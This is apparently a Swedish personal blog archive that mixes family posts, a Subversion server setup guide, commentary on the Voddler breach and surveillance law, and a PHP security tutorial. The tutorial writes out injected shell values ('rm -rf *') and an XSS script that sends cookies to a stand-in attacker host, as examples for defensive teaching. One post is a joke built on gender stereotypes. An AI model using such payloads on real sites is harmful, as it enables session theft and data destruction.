Helt underbart.

Tjejen jag har träffat är en underbar kvinna, Lizette, hon har en dotter som är 2 ½ år gammal. Blir en hel del komik om dagarna när man umgås med dom. Vilket gör att man får en hel del skratt!

Nämnde i tidigare post att Jonathan är med här uppe. Det fungerar underbart med barnen ihop, dom bråkar, men det gör alla mer eller mindre. Dom trivs ihop, dom leker fin fint ihop. Vad mer kan man begära?

Vi var idag på Lek & Buslandet här i Örebro, tillsammans med Lizettes bästa kompis Jenny. Där ungarna fick leka av sig rejält, 120kr för 3h lek o bus. Rena sömnpillret för dom, och oss.

Lizz

64 Bilder

lekobus

42 Bilder

Igår när vi varute så hände det mycket saker.

Som när vi såg en liten fågelunge som trillat ned från trädet. Ungen var inte större än en sådan där ”Kinderägg”s boll.

Annars har Jonathan verkligen haft det skoj här uppe, bara att se nedan

[Show as slideshow]

[Visa med PicLens]

Jag blev singel. Jupp, sorgligt men sant, eller ja… Det var trist ett tag. Det är sånt som händer.

Sedan har jag flyttat från Ljungby till Lenhovda i Småländska glasriket. Yeay, mitt ute i ingenstans. Ett samhälle där stort sett alla känner alla.

Och mitt i ensamheten kom det ett ljus när jag började fundera på att skaffa hund, efter att sökt med ljus o lykta på Blocket så hittade Henrik (broder) en hundvalp i Skåne, sagt o gjort så ringde han utan att ens konsultera mig på den. Bestämde tid o plats så vi hämtade honom. Hans namn är Nick, en korsning mellan Rottweiler och Border Collie.

Sedan kom en ännu större lycka när sonen Jonathan kom till mig, riktigt underbart. Och när farfar bor så nära som han gör så blir det en hel del mys för honom där

Som tur i oturen så träffade jag en underbar tjej som kom från ingenstans. Som verkligen förgyllde min vardag på alla sätt.

Mer om det senare.

Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det ett inlägg under Nyheter på WN.

Eftersom IDG brukar vara relativt snabba på att skvallra när det hänt något så skickade jag ett mail till Daniel Goldberg på Computer Sweden (eftersom han skrev om Voddlers premiär) och hänvisade till tråden på WN, kort därefter så dök artikeln upp på Tech World, med hänvisning till WN.

Mina kommentarer är kort att det är förargligt men även att förskräckligt.

Hur gjorde dom då?

Enligt inlägget från fransmännen (forumet är nedstängt, men en kopia finns här: Sida 1, Sida 2) som lade ut det hela, så verkar han ha kommit åt en fil med PHP-kod, där uppgifter till MySQL fanns med (root uppgifter med synligt lösenord) och testade att logga in med detta till maskinen.

Enligt Mattias Hjelmstedt, vice vd och en av grundarna bakom Voddler, så skulle detta enbart röra sig om intrång i beta-programmet.

– I det läget hade vi 176 aktiva konton och intrånget har skett i betaversionen och inte i den skarpa tjänst som lanseras snart. Vi har nu skärpt säkerheten och sett till att liknande intrång inte ska kunna ske igen, säger Hjelmstedt.

Men det han glömmer att berätta är att det finns 15’000st epost adresser på vift med tillhörande lösenord. Samt att beta & den framtida webbplatsen finns på samma maskin. Dit hackarna har haft tillgång.

Uppdaterat: Nu har även Svenska Dagbladet kommit ut med det

Så då måste vi fixa detta själv, så att vår kära Leopard maskin kan hantera vår egen källkod.

Du kan gå till subversions hemsida och ladda ned den fria boken, och gå igenom helt och fundera ut hur detta gäller för dig, eller så kan du följa dessa enkla exempel som jag beskriver åt dig.

Göra en förvaringsplats

Det första man måste göra är att skapa en förvaringsplats. Faktiskt, för mina behov så måste jag ha flera stycken, så dessa instruktioner kommer att fungera för flera platser. Det är bara på två ställen som detta gäller hur som helst, det är ingen stor sak.
Nu väljer jag att ha förvaringsplats i /Users/Shared/, men du kan ha det var du vill, inklusive i den annars så populära /usr/local/. Var bara säker på att ändra sökvägarna, där det måste.
Öppna upp terminalen och skriv in följande:

$ sudo mkdir -p /Users/Shared/svn/namn
$ sudo svnadmin create /Users/Shared/svn/namn
$ sudo chown -R www:www /Users/Shared/svn/namn

Notera att du kan skapa flera förvaringsplatser enkelt genom att bara byta ut ”namn” mot ditt andra namn. Om du vill skapa namn & namn2 så byt ut namn mot namn2. Genom att du skapar flera förvaringsplatser så kommer du därmed även att få fler kataloger i /Users/Shared/svn/

Skapa tillträde

Dom flesta guider gör detta senare, men jag gör det nu eftersom jag tror du är smartare än så.

Du kanske vill skapa en lösenordsfil, såvida du inte vill ha fritt tillträde för din förvaring. För mig så räcker det med simpel HTTP autentisering, men kom ihåg att användarnamn & lösenord kommer att skickas i väldigt svag kodning, och trafiken är troligen inte alls kodad (om du nu inte har belönat dig själv med lyxen att ha SSL till din maskin), så en person som sniffar din trafik kommer inte ha något starkt motstånd för att få tillträde.

Så om du vill använda autentisering, skapa en lösenordsfil genom följande kommando, byt ut användarnamn för ett användarnman som du väljer, och följ anvisningarna under:

$ sudo htpasswd -cm /etc/apache2/svn-auth-file username

För att lägga till fler användare till filen, ta bara bort ”c” switchen i ”-cm” valet till htpasswd. C:et står för ”create” (skapa), och eftersom filen är skapad så behöver du inte det igen.

Notera att du välja att ha svn-auth-file var du vill i systemet, men det känns som en bra plats att ha den i min skalle. (Kom bara ihåg att du var du lägger den.)

Apache Konfigurering

Navigera till /etc/apache2/other och använd din favorit editor för att ändra som ”root” för att skapa en fil som heter vad som helst (jag kör på svn.conf, men du kan döpa den till choklad.conf och det kommer fortfarande att fungera):

$ cd /etc/apache/other
$ sudo nano svn.conf

Nu när du ändrar denna fil som root, så se till att den innehåller följande och spara sen.

LoadModule dav_svn_module /usr/libexec/apache2/mod_dav_svn.so

<Location /svn>
DAV svn

SVNParentPath /Users/Shared/svn

AuthType Basic
AuthName "Subversion repository"
AuthUserFile /etc/apache2/svn-auth-file
Require valid-user
</Location>

Du kan ta bort dom fyra sista raderna (från AuthType Basic till Require valid-user) om du inte vill ha autentisering. Du behöer också eventuellt fixa SVNParentPath och AuthUserFile om du har valt andra sökvägar än dom jag valt till mig själv.

Starta om Apache

Detta kan du göra under ”Delning” under System Inställningar, bara att bocka av och sedan bocka bredvid Webbdelning.

Nu om du inte har gjort ett misstag så är du klar. Testa att gå till: http://localhost/svn/namn (du behöver byta ut namn emot det namn du tidigare valde) och se vad som händer.

Om du har tur så kommer du att se Revision 0 i din förvaringsplats. Men de flesta är människor och kan ha skrivit fel någonstans. För att få reda på vad som kan generera fel, försök och kontrollera /var/log/system.log och /var/log/apache2/error_log för ledtrådar om vad du kan ha gjort för fel. (Och som en bonus, det finns en underbar applikation som heter ”tail”, med ”-f” som argument (Tex. tail -f /var/log/system.log) så kan du se i realtid vad som skrivs.)

Och nu då?

Nu är du redo att använda din förvaringsplats. Nu tror jag också att du redan vet hur man använder SVN och inte behöver min hjälp mer. Men om du vill veta hur man använder SVN, gå då till deras bok som kommer att berätta vad du vill veta och lite till, även hur du skall göra din server bättre.

Eftersom lagstiftningen har ändrats så att man kan samköra flera olika register för adresserad reklam så är det enklare att slippa reklamen i brevlådan.

Tjänsten kan ses som ett NIX register för brevlådan.

Ni kan läsa mer här

Genom att sätta in minimibeloppet (1SEK) till den advokatbyrå som tidigare representerat upphovsrättsindustrins sida av målet mot ThePirateBay, och sedan att dom måste betala tillbaka beloppet, eftersom detta är ogiltlig inbetalning.

Det många inte tänker på här är att varje transaktion kostar sen är det bokföring mm som krävs för att hantera detta, och vid en uträkning så kommer detta att kosta advokatbyrån 1.70SEK per instättning för varje krona.

Eftersom varje belopp måste betalas tillbaka så är detta en ”Denial of Dollars”, ärvt sitt namn av begreppet i datorvärldens DDoS – Distributed Denial of Service – dom går ut på att låta ett stort antal datorer upprepade gånger be om en tjänst (t.ex hämta en hemsida). Eftersom detta sker i så pass stor skala så blir det en överbelastning och tjänsten går ned.

Moraliskt väldigt fel, men väldigt kreativt & roligt!

Jag skall gå igenom dom vanligaste missarna som kan resultera i säkerhetshål och visa exempel på hur man kan göra för att undvika detta. Jag hoppas att du som läsare skall förstå hur man kan undvika detta. Genom att förstå varje miss hjälper dig att undvika misstagen i dina script.

Säkerhet är en process, inte en produkt, och genom att ha en tänka på säkerheten när man programmerar sin applikation så kommer du att producera en tätare och mer robust kod.

Ej kontrollerade inmatningar

Ett av dom (om inte det) vanligaste säkerhetshålet i PHP är icke kontrollerad data. När en användare som kan fylla i formulär kan helt enkelt inte bli litad på. Du skall alltid anta att varje användare som kommer att använda din applikation är illvillig, för att det är alltid någon som kommer att bli det. Ej kontrollerad eller ej korrekt kontrollerad är grunden till att många brister förekommer. Men vi kommer till det senare.

Som ett exempel, du kommer att skriva följande kod för att tillåta en användare att visa en kalender som visar en specifik månad genom att anropa UNIX kommandot ”cal”.

$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

Denna koden har ett stort säkerhetshål, detta genom att den $_GET['month'] och $_GET['year'] blir inte validerade på något sätt. Applikationen gör exakt vad den skall göra, så länge month är ett värde mellan 1 och 12, och year är ett korrekt 4-siffrigt årtal. Men, en elak användare kanske skriver ”ls -l” istället för ett årtal och kan därmed se en listning av hela din webbsidas html katalog. En extremt elak användare kan skriva ”rm -rf *” istället och därmed radera hela din websida!

Den korrekta vägen att göra detta är att kontrollera att year och month verkligen är vad du vill att det skall vara. Använd inte JavaScript för denna kontroll; denna form av validering kommer man enkelt runt genom att skapa ett eget formulär eller genom att stänga av javascript. Javascript validering här är bra på ett sätt, att kontrollera formuläret och underrätta användaren om att inmatningen är felaktig. För att göra detta korrekt behöver du lägga till PHP kod som försäkrar dig om att month och year är siffror och enbart siffror, som jag visar nedan.

$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Felaktig månad");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Felaktigt årtal");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

Denna kod kan användas utan att oroa sig för att en användare skall utnyttja något säkerhetshål. Eftersom den tillåter bara siffror. Reguljära uttryck är ett fantastiskt verktyg att använda för att validera inmatningar. De kan vara svåra att få ett grepp om, men när man lärt sig det så är det otroligt kraftfullt att använda. Speciellt i sådana här fall.

Du skall alltid när du validerar användardata neka allting som inte stämmer överrens med det du vill ha. Gå aldrig den vägen att du godkänner allting utom det du vet är skadligt, detta är en känd källa av säkerhetshål. Ibland kommer skadliga användare runt detta genom att till exempel, genom att inkludera skadlig data genom att förvränga det med null tecken. Detta skulle godkännas i din kontroll, men skulle ha en skadlig effekt.

Du skall vara så restriktiv du bara kan när du validerar data. Om några tecken inte behöver inkluderas, så skall du kapa bort dom eller neka det helt och hållet.

Åtkomstkontroll

En annan typ av säkerhetshål, som inte enbart är för PHP, utan är viktig hur som helst, är åtkomstkontroller. Denna brist kan bokstavligen röra om det i skallen på en, speciellt om du har vissa sektioner där din applikation måste vara begränsad till vissa användare, så som att administrations sidan tillåts att göra vissa ändringar, eller visa känslig information.

Du skall kontrollera användarens rättigheter vid varje laddning av sidan i din PHP applikation. Om du enbart kontrollerar användarens uppgifter vid index sidan, en elak användare kan skriva in URLen till en ”djupare” sida, vilket skulle innebära att han kommer förbi denna kontroll.

Den är också bra att man lägger till ett lager av säkerhet till, till exempel, genom att enbart tillåta användarens tillgång genom dennes IP och användarnamn, om du har turen att användarna har ett förutsägbart eller statiskt tilldelat IP. Genom att placera dina filer i en katalog som är skyddad av Apaches .htaccess är också en bra början.

Man skall också placera konfigurations filer utanför html katalogen. Konfigurationsfilerna innehåller oftast uppgifter för databas anslutning och annan information som kan användas av en elak användare för att penetrera eller vanställa din sida, tillåt aldrig att dessa filer att bli visade för någon användare. Använd PHPs include funktion för att inkludera filer från en katalog som man inte kommer åt från webben, tex en katalog ”_includes”, där det finns en .htaccess som innehåller deny from all. Detta är redundant, så alla kataloger i denna katalog skyddas också.

För mina PHP applikationer, så föredrar jag en katalog struktur som visas nedan. Alla funktioner, classer & konfigurations filer är lagrade i _includes. Spara alltid filer som skall inkluderas med .php filändelsen, så även om skyddet faller så kommer webbservern att interpretera PHP koden, och inte visa något för användaren. www & admin är kataloger som bara kan nås via en URL, admin katalogen skyddas även av en .htaccess, och tillåter tillträde enbart om användarnamn och lösenord finns sparade i .htpasswd i roten.

/home
  /httpd
    /www.example.com
    .htpasswd
    /includes
      cart.class.php
      config.php
    /logs
      access_log
      error_log
    /www
      index.php
      /admin
        .htaccess
        index.php

Du skall ställa in så att Apache indexerar index.php och visar den som standard, detta är oftast redan gjort om man har PHP installerat.

Gör aldrig, aldrig en backup av en PHP fil genom att genom att lägga till/byta ut filändelsen mot .bak eller någon annan filändelse. Beroende på din webbserver du använder (Apache har tacksamt skydd mot detta), så kommer PHP koden i filen inte att interpreteras, och det kan hända att den skriver ut koden i klartext, om denna fil skulle innehålla lösenord eller annan känslig information så skulle detta visas för användaren, det kan till och med synas i sökresultaten hos en sökmotor. Döp istället om filen till .bak.php istället. Den bästa lösningen är använda ett revisions system som tex. CVS eller SVN, båda kan vara komplicerade att lära sig, men tiden du spenderar på det kommer att betala sig väl på många sätt. Systemet sparar vartenda version av varje fil i ditt projekt, vilket kan vara ovärdeligt när en ändring skapar problem senare.

Session ID Skydd

Session ID kapning kan vara ett problem med PHP webbsidor. PHP spårning komponent använder ett unikt ID för varje användares session, men om detta ID blir känt för en annan användare, så kan den personen kapa sessionen och därmed se informationen som skall vara skyddad för denne. Session ID kapning kan inte bli helt säker, men om du känner till riskerna så kan du förebygga det väl.

Exempelvis, även efter att en användare har blivit validerad och tilldelat en sessions ID, så skall du alltid validera denne varje gång den gör något känsligt, så som att denne byter användarnamn, lösenord mm. Tillåt aldrig en sessions validerad användare att ändra lösenord utan att låta dom fylla i det gamla lösenordet också. Du skall också försöka låta bli att visa särskilt känslig information, som tex. kreditkortsnummer, till en användare som bara är validerad genom en session.

En användare som skapar en ny session genom att logga skall alltid få ett nytt sessions ID genom att använda session_regenerate_id funktionen. En kapad användare kommer att försöka använda det gamla sessions ID innan man loggade in.

Om din webbsida hanterar kritisk information som tex kreditkortsnummer, använd alltid SSL anslutning. Detta kommer att hjälpa till att förebygga risken för kapning, eftersom man inte kan sniffa trafiken.

Om din webbsida körs på en delat Webserver, var uppmärksam på att vilken sessions variablar som helst kan bli visade för vilken annan användare på samma server. För att mildra detta så kan man spara all känslig information i databasen, istället för i sessionen. Om du måste spara ett lösenord i en session (och jag påpekar att detta bör man inte göra!) så spara det inte i klartext, använd istället sha1() (PHP 4.3+) eller md5() för att spara en hash av lösenordet istället.

if ($_SESSION['password'] == $userpass) {
// gör känsliga saker här
}

Koden ovanför är inte säker, eftersom lösenordet är sparat i ren text i variabeln. Istället använd kod mer som denna.

if ($_SESSION['sha1password'] == sha1($userpass)) {
// gör känsliga saker här
}

Cross Site Scripting (XSS) Brister

Cross site scripting, eller XSS, brister är ett samlingsnamn där en användare har fått möjligheten att bädda in script kommandon, vanligen JavaScript, i data som blir visade och därmed körs dom av en annan användare.

Till exempel, din applikation har ett forum där personer kan posta inlägg som läses av andra användare, en elak användare kan bädda in en <script> tagg, som visas nedan, vilket skulle innebära att sidan laddas om till en annan sida som är kontrollerad av dom, och skickar med cookie informationen och sessions information som $GET variablar till deras sida, och skickar sedan tillbaka dig som om ingenting har hänt. En elak användare kan därmed hämta alla andra användares cookies och session information, och använda denna inforamtion för en sessions kapning (se ovan) eller en annan attack mot sidan.

<script>
document.location =
	'http://www.badguys.com/cgi-bin/cookie.php?' +
	document.cookie;
</script>

För att motverka denna formen av attack så måste du vara försiktig när du visar information som användare har publicerat. Den enklaste vägen att skydda sig mot detta är att escape:a alla tecken som används i HTML syntax (särskilt &lt; och &gt;) för att bli HTML kodade (&amp;lt; och &amp;gt;), så att den inskickade datan helt enkelt publiceras som ren text. Använd PHPs htmlspecialchars funktionen för detta bruk.
Om din applikation kräver att användarna skall kunna skicka HTML innehåll och det skall behandlas så, så bör du istället filtrera bort potientiella skadliga taggar såsom <script>. Detta är bäst gjort när innehållet först är inskickat, och kommer att kräva lite reguljära uttryck.

Cross Site Scripting FAQ på cgisecurity.com ger mycket mer information och bakgrund till denna typ av brist och förklarar det mycket väl. Det är en läsning jag verkligen rekommenderar och hoppas ni förstår den. XSS brister kan vara svårt att se och det kan hända den bäste när man bygger en applikation.

Kvinnor är trångsynta. Dom bryr sig bara om bagateller, var man ska bo, lägenhet eller villa, hur många barn man ska ha.
Tacka vet jag vi karlar, vi engagerar sig i de stora frågorna. Kommer Sverige med i fotbolls-VM? Vinner Edberg Stockholm Open?

Kvinnor är oförståndiga. Dom inser inte att man är sjuk när man har trettionio graders feber, nej, dom ska upp i alla fall och laga frukost och se till att barnen kommer till dagis och skola.
Tacka vet jag vi karlar. Vi hostar en gång och ligger sedan däckade i sängen en vecka och blir ompysslade.

Kvinnor är oekonomiska. Dom kan inte handskas med pengar, dom sätter in dem på banken, köper kläder och mat till familjen eller nya gardiner.
Tacka vet jag vi karlar. Vi tar pengarna och går ut och roar sig med grabbarna eller köper en radiostyrd bil.

Kvinnor inser inte sin begränsning. Först går dom ut och jobbar i åtta timmar, sen går dom hem och jobbar åtta timmar till. Och sen ska dom leka med barnen och hinna vara vackra och kanske sova en stund också.
Tacka vet jag vi karlar. Vi vet vad vi kan och låter bli saker vi inte klarar av. Som att fälla ner toalettringen, plocka bort ALLA saker från bordet efter middagen, eller torka av det.

Vilken tur att ni kvinnor är så bra på att uppfostra våra söner till karlar!

Ett antal operatörer har gjort det flera förberedde sig på innan lagen verkställdes alltså att kringå lagen med Proxys & VPN, vitsen här är att den host som kör processen inte hanterar loggar, alltså man kan inte spåra personen. Nu har operatörerna (Bahnhof, AllTele & Net@Once) börjat göra samma sak.

Daniel Östlund nämner detta i ett blogg-inlägg Nackdelen med Lagen om Elektronisk Kommunikation där han och jag diskuterar ett hett ämne som ingen av dessa operatörer har tänkt på. Pedofilerna & Barnpornografi.

Som förälder & medborgare i ett land där signalspaning & övervakning snart kommer att ske i var mans hem (FRA-lagen) så slår det mig så här i efterhand att varför har ingen tänkt på detta innan?

Brottslingar som har verkligen har något att dölja har kunnat göra detta innan. Ett SSL-certifikat på en webbhost tar inte många minuter att sätta upp, ett VPN tar knappt 1h & en proxy tar mindre än 5minuter att sätta upp.

Den som verkligen har något att dölja kan göra det utan problem. Där operatörerna står och kliar sig i skallen och undrar vad gick fel. Dagens teknik är flera steg framför myndigheterna. Bara NTFS möjligheter för kryptering, har för mig att jag läst att Microsoft har erbjudit en belöning för den som knäcker krypteringen. Jag är inget stort fan av Microsoft men NTFS är det som dom verkligen har gjort rätt på.

IPRED är en lag som har kommit för att Hollywood trycker på Sverige.